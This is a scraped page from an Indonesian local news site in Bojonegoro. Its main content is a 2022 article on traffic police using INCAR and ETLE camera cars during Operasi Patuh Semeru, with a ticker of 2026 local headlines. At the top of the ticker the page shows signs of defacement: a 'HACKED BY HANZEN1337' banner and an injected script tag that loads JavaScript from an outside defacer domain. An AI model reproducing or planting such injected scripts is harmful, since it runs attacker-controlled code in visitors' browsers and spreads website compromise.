News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Operasi Patuh 2022, Polisi Bojonegoro Tindak Pelanggaran Lalu Lintas dengan Mobil INCAR

Operasi Patuh 2022

Operasi Patuh 2022, Polisi Bojonegoro Tindak Pelanggaran Lalu Lintas dengan Mobil INCAR

Bojonegoro - Dalam pelaksanaan Operasi Patuh Semeru 2022 yang dilaksanakan selama 14 hari mulai tanggal 13-26 Juni 2022, Satuan Lalu Lintas (Sat Lantas) Polres Bojonegoro akan mengoptimalkan patroli secara mobile menggunakan mobil Integrated Node Capture Attitude Record (INCAR), untuk merekam pelanggaran lalu lintas (lalin) di jalanan.
 
 
Dalam operasi ini, ada 7 prioritas penindakan yang akan dilakukan oleh pihak kepolisan, yaitu pengendara yang menggunakan HP, Pengendara di bawah Umur, sepeda motor berboncengan lebih dari satu orang, pengendara tidak menggunakan helm SNI atau pengemudi tidak menggunakan sabuk keselamatan (safety belt), pengendara dalam pengaruh alkohol, berkedendara melawan arus, dan berkendara melebihi batas kecepatan.
 
 
 
 
Kasat Lantas Polres Bojonegoro AKP Rizal Nugra Wijaya, kepada awak media ini, Jumat(17/6/2022) mnjlaskan bahwa
untuk mendukung Operasi Patuh Semeru 2022 ini, Sat Lantas Polres Bojonegoro menggunakan mobil INCAR dan mobil Electronic Traffic Law Enforcement (ETLE) secara statis.
 
"Mobil ini nanti akan berkeliling di sejumlah ruas jalan di Bojonegoro." tutur AKP Rizal Nugra Wijaya.
 
 
AKP Rizal menambahkan penerapan tilang elektronik berupa INCAR dan juga ETLE mobile ini sudah diterapkan oleh Ditlantas Polda Jawa timur. INCAR merupakan mobil patroli polisi inovasi dari Polda Jatim yang dilengkapi kamera canggih.
 
“Hari ini kita lakukan patroli dengan mobil INCAR di ruas jalan Bojonegoro-Babat. Kita lakukan pengawasan dan penindakkan pelanggar lalu lintas, patroli ini sekaligus melaksanakan patroli titik rawan laka lantas dan kriminalitas,” kata AKP Rizal Nugra Wijaya.
 
 
Pihaknya berharap dengan adanya mobil INCAR dan ETLE mobile dapat mengurangi pelanggaran dan fatalitas gangguan Kamseltibcarlantas sedini mungkin.
 
“Kita imbau kepada masyarakat saat berkendara di jalan raya tetap mematuhi aturan berlau lintas dan tertib berlalu lintas demi keselamatan bersama,” kata Kasat Lantas. (*/imm)
 
 
Editor: Imam Nurcahyo
Publisher: Imam Nurcahyo
 
Berita Terkait
1783874918.9453 at start, 1783874919.2801 at end, 0.33484101295471 sec elapsed